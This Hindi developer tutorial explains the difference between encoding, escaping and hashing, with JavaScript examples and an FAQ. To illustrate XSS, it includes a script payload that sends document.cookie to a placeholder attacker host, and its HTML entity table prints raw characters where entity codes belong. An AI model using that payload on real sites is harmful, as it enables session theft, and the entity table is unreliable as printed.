सॉफ्टवेयर इंजीनियर और वेब डेवलपर्स लगातार डेटा रूपांतरण करते हैं: एचटीटीपी अनुरोधों के लिए क्वेरी पैरामीटर बदलना, बाइनरी इमेज को जेएसओएन में पैक करना, यूजर इनपुट को सुरक्षित करना और पासवर्ड हैश करना।

इनके अत्यधिक उपयोग के बावजूद, एन्कोडिंग (Encoding), एस्केपिंग (Escaping), और हैशिंग (Hashing) के बीच अक्सर भ्रम पैदा होता है। इन तीनों को एक समान समझना क्रॉस-साइट स्क्रिप्टिंग (XSS), एसक्यूएल इंजेक्शन और प्रमाणीकरण विफलताओं जैसी गंभीर सुरक्षा खामियों का मुख्य कारण बनता है।

मुख्य बातें

एन्कोडिंग (प्रतिवर्ती/Reversible): डेटा खोए बिना सुरक्षित संचार के लिए प्रारूप बदलती है (जैसे Base64, URL percent-encoding)।

एस्केपिंग (संदर्भ-विशिष्ट): पार्सर को निर्देश देती है कि वह विशेष वर्णों को निष्पादन योग्य कोड के बजाय सामान्य टेक्स्ट माने (जैसे HTML entities)।

हैशिंग (एकतरफा/One-Way): गणितीय एल्गोरिदम जो किसी भी डेटा को एक निश्चित लंबाई के अपरिवर्तनीय फ़िंगरप्रिंट में बदल देता है (जैसे SHA-256)।

सुरक्षा के लिए कभी भी एन्कोडिंग का उपयोग न करें: Base64 केवल एन्कोडिंग है, एन्क्रिप्शन नहीं; कोई भी इसे बिना चाबी के तुरंत डिकोड कर सकता है।

1. यूआरएल प्रतिशत-एन्कोडिंग (URL Percent-Encoding)

RFC 3986 के अनुसार URI केवल US-ASCII वर्णों के एक सीमित उपसमूह का समर्थन करते हैं। अनारक्षित सेट (A-Z, a-z, 0-9, -, _, ., ~) से बाहर के सभी वर्णों को प्रतिशत-एन्कोडेड ऑक्टेट्स (%XX) के रूप में दर्शाया जाना आवश्यक है।

`encodeURI` बनाम `encodeURIComponent`

जावास्क्रिप्ट में गलत विधि चुनने से समस्याएं आती हैं:

सुविधा	`encodeURI`	`encodeURIComponent`
उद्देश्य	पूरी URL जिसमें प्रोटोकॉल, होस्ट और पाथ शामिल हों	क्वेरी स्ट्रिंग की व्यक्तिगत कुंजी या मान
क्या `: / ? # & = +` को एस्केप करता है?	नहीं (URL विभाजकों को सुरक्षित रखता है)	हाँ (उन्हें `%XX` में बदल देता है)
उपयोग उदाहरण	`encodeURI('https://site.com/search?q=a+b')`	`encodeURIComponent('search term & co')`

// Example breakdown
const query = 'developer tools & utilities = free';
console.log(encodeURIComponent(query));
// Output: "developer%20tools%20%26%20utilities%20%3D%20free"

एपीआई परीक्षण के दौरान यूआरएल को संसाधित करने के लिए हमारे URL Encoder & Decoder का उपयोग करें।

2. बेस64 एन्कोडिंग: आस्की स्ट्रीम में बाइनरी डेटा

Base64 (RFC 4648) 64 प्रिंट करने योग्य ASCII वर्णों का उपयोग करके बाइनरी डेटा को प्रदर्शित करता है: A–Z, a–z, 0–9, +, और / (पैडिंग के लिए = के साथ)।

गणितीय कार्यप्रणाली

कंप्यूटर डेटा को 8-बिट बाइट्स के रूप में प्रोसेस करते हैं। Base64 बाइनरी डेटा को 24 बिट्स (3 बाइट्स) के समूहों में बांटता है और उन्हें 6-6 बिट्स के 4 भागों में विभाजित करता है ($2^6 = 64$ संभावित मान)।

$$\text{3 Bytes (24 bits)} \longrightarrow \text{4 Base64 Characters (6 bits each)}$$

चूँकि इनपुट के प्रत्येक 3 बाइट्स के लिए 4 वर्ण बनते हैं, इसलिए Base64 फ़ाइल आकार में 33% का अतिरिक्त ओवरहेड जोड़ता है:

$$\text{Encoded Size} \approx \lceil \frac{N}{3} \rceil \times 4 \text{ bytes}$$

// Browser-native Base64 conversions for text
function textToBase64(str) {
  return btoa(unescape(encodeURIComponent(str)));
}

function base64ToText(b64) {
  return decodeURIComponent(escape(atob(b64)));
}

Base64 सीएसएस में छोटे आइकन एम्बेड करने के लिए आदर्श है। इसका परीक्षण हमारे Base64 Encoder / Decoder पर करें।

3. एचटीएमएल एंटिटी एस्केपिंग: XSS हमलों से सुरक्षा

HTML एस्केपिंग ऐसे वर्णों को सुरक्षित एंटिटी संदर्भों से बदलती है जिनका एचटीएमएल में विशेष वाक्यात्मक अर्थ होता है:

वर्ण	HTML में शाब्दिक अर्थ	एस्केप की गई एंटिटी
`<`	टैग खोलने का चिह्न	`<`
`>`	टैग बंद करने का चिह्न	`>`
`&`	एंटिटी संदर्भ उपसर्ग	`&`
`"`	विशेषता मान विभाजक	`"`
`'`	विशेषता मान विभाजक	`'`

एस्केपिंग के बिना वेब पेज में अनियंत्रित इनपुट जोड़ना खतरनाक क्रॉस-साइट स्क्रिप्टिंग (XSS) को जन्म देता है:

<!-- Vulnerable injection -->
<div>User comment: <script>fetch('https://evil.com?c=' + document.cookie)</script></div>

<!-- Safe escaped rendering -->
<div>User comment: &lt;script&gt;fetch('https://evil.com?c=' + document.cookie)&lt;/script&gt;</div>

हमारे HTML Entity Encoder / Decoder से अपने आउटपुट का परीक्षण करें।

4. क्रिप्टोग्राफिक हैशिंग: एकतरफा चेकसम

एन्कोडिंग के विपरीत, हैशिंग अपरिवर्तनीय होती है। एक सुरक्षित क्रिप्टोग्राफिक हैश फ़ंक्शन में ये चार गुण होते हैं:

प्री-इमेज प्रतिरोध: किसी दिए गए हैश $h$ के लिए मूल संदेश $m$ खोजना असंभव होना चाहिए।
द्वितीय प्री-इमेज प्रतिरोध: किसी इनपुट $m_1$ के समान हैश वाला दूसरा इनपुट $m_2$ खोजना असंभव हो।
टकराव प्रतिरोध (Collision Resistance): कोई भी दो अलग इनपुट $x \neq y$ ढूंढना असंभव हो जिनका हैश समान हो।
हिमस्खलन प्रभाव (Avalanche Effect): इनपुट में 1 बिट बदलने से भी पूरा परिणामी हैश बदल जाता है।

एल्गोरिदम की तुलना

एल्गोरिदम	डाइजेस्ट आकार	टकराव स्थिति	उत्पादन में उपयोग
MD5	128 बिट (32 हेक्स)	असुरक्षित (सेकंडों में टकराव)	केवल गैर-सुरक्षित चेकसम
SHA-1	160 बिट (40 हेक्स)	असुरक्षित (2017 में क्रैक)	अप्रचलित; SHA-256 का उपयोग करें
SHA-256	256 बिट (64 हेक्स)	क्रिप्टोग्राफ़िक रूप से सुरक्षित	टीएलएस प्रमाणपत्र, गिट और एपीआई का मानक
SHA-512	512 बिट (128 हेक्स)	क्रिप्टोग्राफ़िक रूप से सुरक्षित	उच्च सुरक्षा वातावरण और HMAC

सुरक्षित पहचानकर्ता और टोकन बनाने के लिए हमारे UUID Generator और Password Generator का उपयोग करें।

निष्कर्ष: किस तकनीक का कब चयन करें?

यूआरएल में टेक्स्ट भेजने के लिए: URL percent-encoding का उपयोग करें।
बाइनरी फ़ाइलों को टेक्स्ट स्ट्रीम में बदलने के लिए: Base64 चुनें।
वेब पेज पर असुरक्षित इनपुट रेंडर करने के लिए: HTML escaping करें।
फ़ाइल अखंडता और पासवर्ड जांचने के लिए: Cryptographic hashing अपनाएं।

अक्सर पूछे जाने वाले प्रश्न

क्या Base64 को डिक्रिप्ट किया जा सकता है? Base64 एन्क्रिप्टेड नहीं है, केवल एन्कोडेड है। कोई भी व्यक्ति किसी भी टूल से बिना किसी गुप्त कुंजी के इसे इसके मूल रूप में बदल सकता है।

क्या केवल SHA-256 पासवर्ड स्टोर करने के लिए सुरक्षित है? नहीं। आधुनिक जीपीयू प्रति सेकंड अरबों SHA-256 हैश की गणना कर सकते हैं। पासवर्ड के लिए Argon2id या bcrypt जैसी विशेष स्लो-हैशिंग विधियों का उपयोग किया जाना चाहिए।

यूआरएल एन्कोडिंग में स्पेस को कभी %20 और कभी + क्यों लिखा जाता है? RFC 3986 पाथ में स्पेस %20 होता है, जबकि पुराने वेब फॉर्म्स (application/x-www-form-urlencoded) में स्पेस को पारंपरिक रूप से + में बदला जाता था।